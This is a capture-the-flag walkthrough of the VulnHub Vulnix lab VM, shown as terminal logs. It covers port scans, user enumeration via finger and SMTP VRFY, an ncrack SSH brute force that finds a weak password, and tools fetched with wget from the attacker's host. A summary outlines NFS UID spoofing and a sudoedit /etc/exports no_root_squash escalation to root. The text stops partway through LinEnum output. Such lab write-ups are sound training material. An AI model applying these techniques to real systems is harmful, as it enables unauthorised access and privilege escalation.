-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub HackLab-Vulnix (Medium)
2643 lines (2185 loc) · 130 KB
/
VulnHub HackLab-Vulnix (Medium)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
================================================================================================================================================================
Walkthrough of the HackLab Vulnix VulnHub VM CTF
================================================================================================================================================================
Step 1. Scanning and Enumeration
> NMAP scan + user account enumeration using SMTP VRFY command or Finger command
Step 2. Gaining access
Step 1. Password brute-force attack with ncrack against the Linux accounts the we have enumerated (e.g. root, backup, user, vulnix)
Step 2. Log into the Linux server as the 'user' account which is protected by a weak password (letmein)
Step 3. Privesc from 'user' account to 'vulnix' account (manual research + LinEnum + Linux-exploit-suggester)
Step 1. Logged as 'user', identify the UID of the 'vulnix' account (2008)
Step 2. Mount the insecure NFS v3 share "/home/vulnix"
Step 3. Create a new local account with UID '2008' to be able access the NFS share as the user 'vulnix' (known security issue in NFS versions 2 and 3)
Step 4. Add our SSH public key to "/home/vulnix/.ssh/authorized_keys"
Step 5. Log into the Linux server as the 'vulnix' user
Step 4. Privesc from 'vulnix' account to root
Step 1. Exploit SUDO misconfiguration (the account 'vulnix' can run SUDOEDIT /etc/exports without password)
Step 2. Modify the NFS export configuration using SUDOEDIT (add "/root *(rw, no_root_squash)")
Step 3. Mount the new NFS share "/root" and add our SSH public key to "/root/.ssh/authorized_keys"
Step 4. Log into the Linux server as root with our private SSH key
+ Note 1: I also tried several exploits identified with 'Linux-exploit-suggester' that I successfully used on other CTFs but that did not work this time:
- DirtyC0w (CVE-2016-5195)
- the privesc exploit for the "Sudo version 1.8.3p1" (CVE-2012-0809 - https://www.exploit-db.com/exploits/25134)
+ Note 2: I discovered afterwards that I could have use the tool NfSpy (https://github.com/bonsaiviking/NfSpy) to automate the NFS "attack" and directly gain access as 'vulnix'...
================================================================================================================================================================
Step 1. Scanning and Enumeration
================================================================================================================================================================
root@Security-Audit-01:/home/pentester# netdiscover
Currently scanning: 192.168.36.0/16 | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.3 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.37 08:00:27:8b:ea:be 1 60 PCS Systemtechnik GmbH
192.168.1.254 68:a3:78:8b:0c:dd 1 60 FREEBOX SAS
192.168.27.1 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
================================================================================================================================================================
root@Security-Audit-01:/home/pentester# nmap -sS -sV -Pn -A -p 1-65535 -sC -v 192.168.1.37
Starting Nmap 7.70 ( https://nmap.org )
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
Initiating NSE at 22:12
Completed NSE at 22:12, 0.00s elapsed
Initiating ARP Ping Scan at 22:12
Scanning 192.168.1.37 [1 port]
Completed ARP Ping Scan at 22:12, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:12
Completed Parallel DNS resolution of 1 host. at 22:12, 0.00s elapsed
Initiating SYN Stealth Scan at 22:12
Scanning 192.168.1.37 [65535 ports]
Discovered open port 111/tcp on 192.168.1.37
Discovered open port 22/tcp on 192.168.1.37
Discovered open port 993/tcp on 192.168.1.37
Discovered open port 143/tcp on 192.168.1.37
Discovered open port 995/tcp on 192.168.1.37
Discovered open port 25/tcp on 192.168.1.37
Discovered open port 110/tcp on 192.168.1.37
Discovered open port 50352/tcp on 192.168.1.37
Discovered open port 42151/tcp on 192.168.1.37
Discovered open port 2049/tcp on 192.168.1.37
Discovered open port 512/tcp on 192.168.1.37
Discovered open port 37168/tcp on 192.168.1.37
Discovered open port 514/tcp on 192.168.1.37
Discovered open port 59900/tcp on 192.168.1.37
Discovered open port 56364/tcp on 192.168.1.37
Discovered open port 513/tcp on 192.168.1.37
Discovered open port 79/tcp on 192.168.1.37
Completed SYN Stealth Scan at 22:12, 7.45s elapsed (65535 total ports)
<SNIP>
Nmap scan report for 192.168.1.37
Host is up (0.00068s latency).
Not shown: 65518 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2019-03-02T21:12:46+00:00; -1s from scanner time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: TOP UIDL RESP-CODES STLS CAPA SASL PIPELINING
|_ssl-date: 2019-03-02T21:12:45+00:00; 0s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 38749/udp mountd
| 100005 1,2,3 42151/tcp mountd
| 100021 1,3,4 37079/udp nlockmgr
| 100021 1,3,4 56364/tcp nlockmgr
| 100024 1 54483/udp status
| 100024 1 59900/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: IMAP4rev1 Pre-login ID more have post-login listed capabilities IDLE ENABLE LITERAL+ LOGIN-REFERRALS LOGINDISABLEDA0001 OK STARTTLS SASL-IR
|_ssl-date: 2019-03-02T21:12:46+00:00; 0s from scanner time.
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
993/tcp open ssl/imaps?
|_ssl-date: 2019-03-02T21:12:45+00:00; 0s from scanner time.
995/tcp open ssl/pop3s?
|_ssl-date: 2019-03-02T21:12:45+00:00; 0s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
37168/tcp open mountd 1-3 (RPC #100005)
42151/tcp open mountd 1-3 (RPC #100005)
50352/tcp open mountd 1-3 (RPC #100005)
56364/tcp open nlockmgr 1-4 (RPC #100021)
59900/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:8B:EA:BE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Uptime guess: 0.007 days (since Mon Mar 2 22:05:31 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.1.37
NSE: Script Post-scanning.
Initiating NSE at 22:15
Completed NSE at 22:15, 0.00s elapsed
Initiating NSE at 22:15
Completed NSE at 22:15, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.28 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
================================================================================================================================================================
root@Security-Audit-01:/home/pentester# showmount -e 192.168.1.37
Export list for 192.168.1.37:
/home/vulnix *
root@Security-Audit-01:/home/pentester# mkdir /mnt/temp/
root@Security-Audit-01:/home/pentester# mount -t nfs 192.168.1.37:/home/vulnix /mnt/temp/ -o nolock
root@Security-Audit-01:/home/pentester# ls -al /mnt/temp
ls: cannot open directory '/mnt/temp': Permission denied
root@Security-Audit-01:/mnt# df -h
Filesystem Size Used Avail Use% Mounted on
udev 3.9G 0 3.9G 0% /dev
tmpfs 799M 9.3M 789M 2% /run
/dev/sda1 60G 21G 37G 36% /
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 799M 16K 799M 1% /run/user/130
tmpfs 799M 32K 799M 1% /run/user/0
tmpfs 799M 0 799M 0% /run/user/1000
192.168.1.37:/home/vulnix 774M 702M 34M 96% /mnt/temp
pentester@Security-Audit-01:/mnt$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Mar 2 22:24 .
drwxr-xr-x 24 root root 4096 Jul 16 2018 ..
drwxr-xr-x 2 root root 4096 Mar 2 22:27 nfstest
drwxr-x--- 2 nobody nobody 4096 Sep 2 2012 temp
================================================================================================================================================================
Username enumeration using FINGER
----------------------------------
pentester@Security-Audit-01:~$ finger -l @192.168.1.37
No one logged on.
pentester@Security-Audit-01:~$ finger -l [email protected]
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.
pentester@Security-Audit-01:~$ finger -l [email protected]
Login: vulnix Name:
Directory: /home/vulnix Shell: /bin/bash
Never logged in.
No mail.
No Plan.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: test: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: admin: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: nfs: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: imap: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
Login: nobody Name: nobody
Directory: /nonexistent Shell: /bin/sh
Never logged in.
No mail.
No Plan.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: ftp: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
finger: ftpuser: no such user.
pentester@Security-Audit-01:~$ finger -l [email protected]
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
pentester@Security-Audit-01:~$ finger -l [email protected]
Login: backup Name: backup
Directory: /var/backups Shell: /bin/sh
Never logged in.
No mail.
No Plan.
================================================================================================================================================================
Username enumeration using SMTP VRFY enumeration
--------------------------------------------------
root@Security-Audit-01:/usr/share/metasploit-framework# nc 192.168.1.37 25
220 vulnix ESMTP Postfix (Ubuntu)
help
502 5.5.2 Error: command not recognized
helo vulnix
250 vulnix
vulnix
502 5.5.2 Error: command not recognized
VRFY root
252 2.0.0 root
VRFY test
550 5.1.1 <test>: Recipient address rejected: User unknown in local recipient table
VRFY vulnix
252 2.0.0 vulnix
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
VRFY backup
252 2.0.0 backup
VRFY dev
550 5.1.1 <dev>: Recipient address rejected: User unknown in local recipient table
VRFY audit
550 5.1.1 <audit>: Recipient address rejected: User unknown in local recipient table
VRFY user
252 2.0.0 user
--------------------------------
root@Security-Audit-01:/mnt# nmap -sV -sS --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY} -p 25 192.168.1.37
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 22:45 CET
Nmap scan report for 192.168.1.37
Host is up (0.00069s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
| smtp-enum-users:
|_ Couldn't find any accounts
MAC Address: 08:00:27:8B:EA:BE (Oracle VirtualBox virtual NIC)
Service Info: Host: vulnix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
--------------------------------
root@Security-Audit-01:/mnt# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.1.37
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 113
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Mon Mar 2 22:49:47 2019 #########
192.168.1.33: ROOT exists
192.168.1.33: backup exists
192.168.1.33: bin exists
192.168.1.33: daemon exists
192.168.1.33: games exists
192.168.1.33: gnats exists
192.168.1.33: irc exists
192.168.1.33: libuuid exists
192.168.1.33: list exists
192.168.1.33: lp exists
192.168.1.33: mail exists
192.168.1.33: man exists
192.168.1.33: messagebus exists
192.168.1.33: news exists
192.168.1.33: nobody exists
192.168.1.33: postmaster exists
192.168.1.33: proxy exists
192.168.1.33: root exists
192.168.1.33: sshd exists
192.168.1.33: sync exists
192.168.1.33: sys exists
192.168.1.33: syslog exists
192.168.1.33: user exists
192.168.1.33: uucp exists
192.168.1.33: www-data exists
######## Scan completed at Mon Mar 2 22:49:47 2019 #########
25 results.
113 queries in 1 seconds (113.0 queries / sec)
root@Security-Audit-01:/mnt#
================================================================================================================================================================
RLGIN tests
root@Security-Audit-01:/home/pentester# rlogin -l root 192.168.1.37
The authenticity of host '192.168.1.37 (192.168.1.37)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.37' (ECDSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
root@Security-Audit-01:/home/pentester# rsh -l root 192.168.1.37
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
root@Security-Audit-01:/usr/share/metasploit-framework# rlogin -l backup 192.168.1.37
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
root@Security-Audit-01:/usr/share/metasploit-framework# rlogin -l vulnix 192.168.1.37
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
root@Security-Audit-01:/usr/share/metasploit-framework# rlogin -l user 192.168.1.37
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
pentester@Security-Audit-01:~$ rlogin -l nobody 192.168.1.37
The authenticity of host '192.168.1.37 (192.168.1.37)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.37' (ECDSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).
================================================================================================================================================================
Step 2. Gaining access
================================================================================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/HackLab# cat users.txt
user
vulnix
root
backup
root@Security-Audit-01:~/Desktop/CTFs/HackLab# ncrack -vv -U users.txt -P /usr/share/wordlists/rockyou.txt -T4 192.168.1.37:22
Starting Ncrack 0.7 ( http://ncrack.org ) at 2019-03-03 00:41 CET
Stats: 0:01:52 elapsed; 0 services completed (1 total)
Rate: 6.58; Found: 0; About 0.00% done
(1 total)
Rate: 7.18; Found: 0; About 0.00% done
Discovered credentials on ssh://192.168.1.37:22 'user' 'letmein'
Stats: 0:07:33 elapsed; 0 services completed (1 total)
Rate: 7.52; Found: 1; About 0.00% done
(press 'p' to list discovered credentials)
Stats: 0:09:57 elapsed; 0 services completed (1 total)
Rate: 8.27; Found: 1; About 0.00% done
(press 'p' to list discovered credentials)
<SNIP>
user@Security-Audit-01:/root/Desktop/CTFs/HackLab$ rlogin 192.168.1.37
The authenticity of host '192.168.1.37 (192.168.1.37)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.37' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Tue Mar 3 00:00:06 GMT 2019
System load: 0.36 Processes: 88
Usage of /: 91.3% of 773MB Users logged in: 0
Memory usage: 4% IP address for eth0: 192.168.1.37
Swap usage: 0%
=> / is using 91.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Mon Mar 2 23:41:36 2019 from 192.168.1.8
user@vulnix:~$ ls -al
total 32
drwxr-x--- 3 user user 4096 Mar 2 23:43 .
drwxr-xr-x 4 root root 4096 Sep 2 2012 ..
-rw------- 1 user user 28 Mar 2 23:43 .bash_history
-rw-r--r-- 1 user user 220 Sep 2 2012 .bash_logout
-rw-r--r-- 1 user user 3486 Sep 2 2012 .bashrc
drwx------ 2 user user 4096 Sep 2 2012 .cache
-rw-r--r-- 1 user user 675 Sep 2 2012 .profile
-rw------- 1 user user 7 Sep 2 2012 .rhosts
user@vulnix:~$ cat .rhosts
+ user
user@vulnix:~$ cat .bash_history
id
ls -al
cat .rhosts
exit
================================================================================================================================================================
Step 3. Privesc from 'user' account to 'vulnix' account (manual research + LinEnum + Linux-exploit-suggester)
================================================================================================================================================================
user@vulnix:~$ wget http://192.168.1.8:8000/Linux-exploit-suggester.sh
--2019-03-03 00:11:07-- http://192.168.1.8:8000/Linux-exploit-suggester.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 65666 (64K) [text/x-sh]
Saving to: `Linux-exploit-suggester.sh'
100%[================================================================================================================================================================>] 65,666 --.-K/s in 0.001s
2019-03-03 00:11:07 (96.5 MB/s) - `Linux-exploit-suggester.sh' saved [65666/65666]
user@vulnix:~$ ls
Linux-exploit-suggester.sh
user@vulnix:~$ ls -al
total 100
drwxr-x--- 3 user user 4096 Mar 3 00:11 .
drwxr-xr-x 4 root root 4096 Sep 2 2012 ..
-rw------- 1 user user 28 Mar 2 23:43 .bash_history
-rw-r--r-- 1 user user 220 Sep 2 2012 .bash_logout
-rw-r--r-- 1 user user 3486 Sep 2 2012 .bashrc
drwx------ 2 user user 4096 Sep 2 2012 .cache
-rw-rw-r-- 1 user user 65666 Jul 15 2018 Linux-exploit-suggester.sh
-rw-r--r-- 1 user user 675 Sep 2 2012 .profile
-rw------- 1 user user 7 Sep 2 2012 .rhosts
user@vulnix:~$ chmod +x Linux-exploit-suggester.sh
user@vulnix:~$ wget http://192.168.1.8:8000/LinEnum.sh
--2019-03-03 00:12:37-- http://192.168.1.8:8000/LinEnum.sh
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44413 (43K) [text/x-sh]
Saving to: `LinEnum.sh'
100%[================================================================================================================================================================>] 44,413 252K/s in 0.2s
2019-03-03 00:12:37 (252 KB/s) - `LinEnum.sh' saved [44413/44413]
user@vulnix:~$ chmod +x LinEnum.sh
user@vulnix:~$ ./LinEnum.sh -h
./LinEnum.sh: option requires an argument -- h
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com | @rebootuser
# version 0.91
# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t
OPTIONS:
-k Enter keyword
-e Enter export location
-s Supply user password for sudo checks (INSECURE)
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
Running with no options = limited scans/no output file
#########################################################
user@vulnix:~$ ./LinEnum.sh -t
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Mar 3 00:15:06 GMT 2019
### SYSTEM ##############################################
[-] Kernel information:
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
[-] Kernel information (continued):
Linux version 3.2.0-29-generic-pae (buildd@roseapple) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012
[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.1 LTS"
[-] Hostname:
vulnix
### USER/GROUP ##########################################
[-] Current user/group info:
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
[-] Users that have previously logged onto the system:
Username Port From Latest
user pts/0 192.168.1.8 Tue Mar 3 00:00:07 +0000 2019
[-] Who else is logged on:
00:15:06 up 3:14, 1 user, load average: 0.00, 0.04, 0.17
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user pts/0 192.168.1.8 00:00 2.00s 0.24s 0.00s /bin/bash ./Lin
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(syslog) gid=103(syslog) groups=103(syslog)
uid=102(messagebus) gid=105(messagebus) groups=105(messagebus)
uid=103(whoopsie) gid=106(whoopsie) groups=106(whoopsie)
uid=104(postfix) gid=110(postfix) groups=110(postfix)
uid=105(dovecot) gid=112(dovecot) groups=112(dovecot)
uid=106(dovenull) gid=65534(nogroup) groups=65534(nogroup)
uid=107(landscape) gid=113(landscape) groups=113(landscape)
uid=108(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
uid=109(statd) gid=65534(nogroup) groups=65534(nogroup)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
[-] Super user account(s):
root
[-] Are permissions on /home directories lax:
total 16K
drwxr-xr-x 4 root root 4.0K Sep 2 2012 .
drwxr-xr-x 22 root root 4.0K Sep 2 2012 ..
drwxr-x--- 3 user user 4.0K Mar 3 00:12 user
drwxr-x--- 2 vulnix vulnix 4.0K Sep 2 2012 vulnix
[-] Files owned by our user:
-rw-r--r-- 1 user user 0 Sep 2 2012 /home/user/.cache/motd.legal-displayed
-rw-r--r-- 1 user user 220 Sep 2 2012 /home/user/.bash_logout
-rw-r--r-- 1 user user 675 Sep 2 2012 /home/user/.profile
-rw------- 1 user user 28 Mar 2 23:43 /home/user/.bash_history
-rwxrwxr-x 1 user user 65666 Jul 15 2018 /home/user/Linux-exploit-suggester.sh
-rw-r--r-- 1 user user 3486 Sep 2 2012 /home/user/.bashrc
-rwxrwxr-x 1 user user 44413 Jul 15 2018 /home/user/LinEnum.sh
-rw------- 1 user user 7 Sep 2 2012 /home/user/.rhosts
[-] Hidden files:
-rw-r--r-- 1 root root 102 Jun 19 2012 /etc/cron.monthly/.placeholder
-rw-r--r-- 1 root root 628 Sep 2 2012 /etc/apparmor.d/cache/.features
